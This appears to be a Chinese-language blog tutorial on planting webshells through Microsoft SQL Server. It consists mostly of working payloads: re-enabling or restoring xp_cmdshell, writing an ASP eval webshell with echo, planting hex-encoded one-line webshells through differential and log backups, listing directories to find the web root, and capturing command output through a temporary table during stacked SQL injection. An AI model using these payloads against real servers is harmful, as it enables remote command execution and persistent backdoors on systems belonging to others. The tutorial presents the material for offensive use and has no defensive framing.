SQL Server从0到1——写shell

xp_cmdshell

查看能否使用xpcmd_shell；

select count(*) from master.dbo.sysobjects where xtype = 'x' and name =  'xp_cmdshell'

直接使用xpcmd_shell执行命令：

EXEC master.dbo.xp_cmdshell 'whoami'

 

发现居然无法使用

查看是否存在xp_cmdshell:

EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

到现在我们知道了，这台mssql支持xp_cmdshell，但没有开启 xp_cmdshell:

启用：
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
关闭：
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;

 

执行命令：

EXEC master.dbo.xp_cmdshell 'whoami'

 

可以看到这里已经有了system权限 主要找到web路径就可以使用cmd目录创建文件，获取web路径在后面有讲解

exec master..xp_cmdshell 'echo ^<%@ Page  Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> >  c:\\666.asp';

注意：如果xp_cmdshell被删除了，需要自己上传xplog70.dll进行恢复

exec master.sys.sp_addextendedproc 'xp_cmdshell','C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll' 虽然是写shell，但是xp_cmdshell更多的是用来提权，具体原因其实思考一下就明白了。。。。

差异备份

生成备份文件：

backup database test to disk = 'c:\bak.bak';--

创建表：

create table [dbo].[test] ([cmd] [image]);

插入一句话：

insert into test(cmd)  values(0x3C25657865637574652872657175657374282261222929253E)

再次备份：

backup database test to disk='C:\567.asp' WITH DIFFERENTIAL,FORMAT;--

 

就会生成一个asp一句话

LOG备份

1. alter database test set RECOVERY FULL2. create table cmd (a image)3. backup log test to disk = 'c:\test' with init4. insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)5. backup log test to disk = 'c:\test\2.asp'#LOG备份的要求是他的数据库备份过，而且选择恢复模式得是完整模式

 

路径获取

由于要写webshell，那么必须知道web的路径

1.通过报错获取网站路径

 

2.使用xp_dirtree获取目录信息：

execute master..xp_dirtree 'c:' //列出所有c:\文件和目录,子目录
execute master..xp_dirtree 'c:',1 //只列c:\文件夹
execute master..xp_dirtree 'c:',1,1 //列c:\文件夹加文件#一个一个慢慢找

 

3.通过xpcmd_shell：

exec master..xp_cmdshell 'for /r c:\ %i in (i*.aspx) do @echo %i'

 

avatar

回显问题：看到这里，可能有很多小伙伴会不耐烦的说，这是我在软件上执行的sql命令，并非真实注入，该如何回显出信息 其实我们观察这些payload就可以发现，这些命令并非查询语句，并不能与普通的sql语句在一个语句中， 因此想要回显就必须满足，服务器支持堆叠注入

接下来我们的思路就是创建一张临时表来接收命令执行返回的内容，然后我们在通过查临时表来获取数据

创建临时表：

CREATE TABLE tmpTable (tmp1 varchar(8000));

将数据存入表中：

insert into tmpTable(tmp1) exec master..xp_cmdshell 'ipconfig'

获取数据：

select * from tmpTable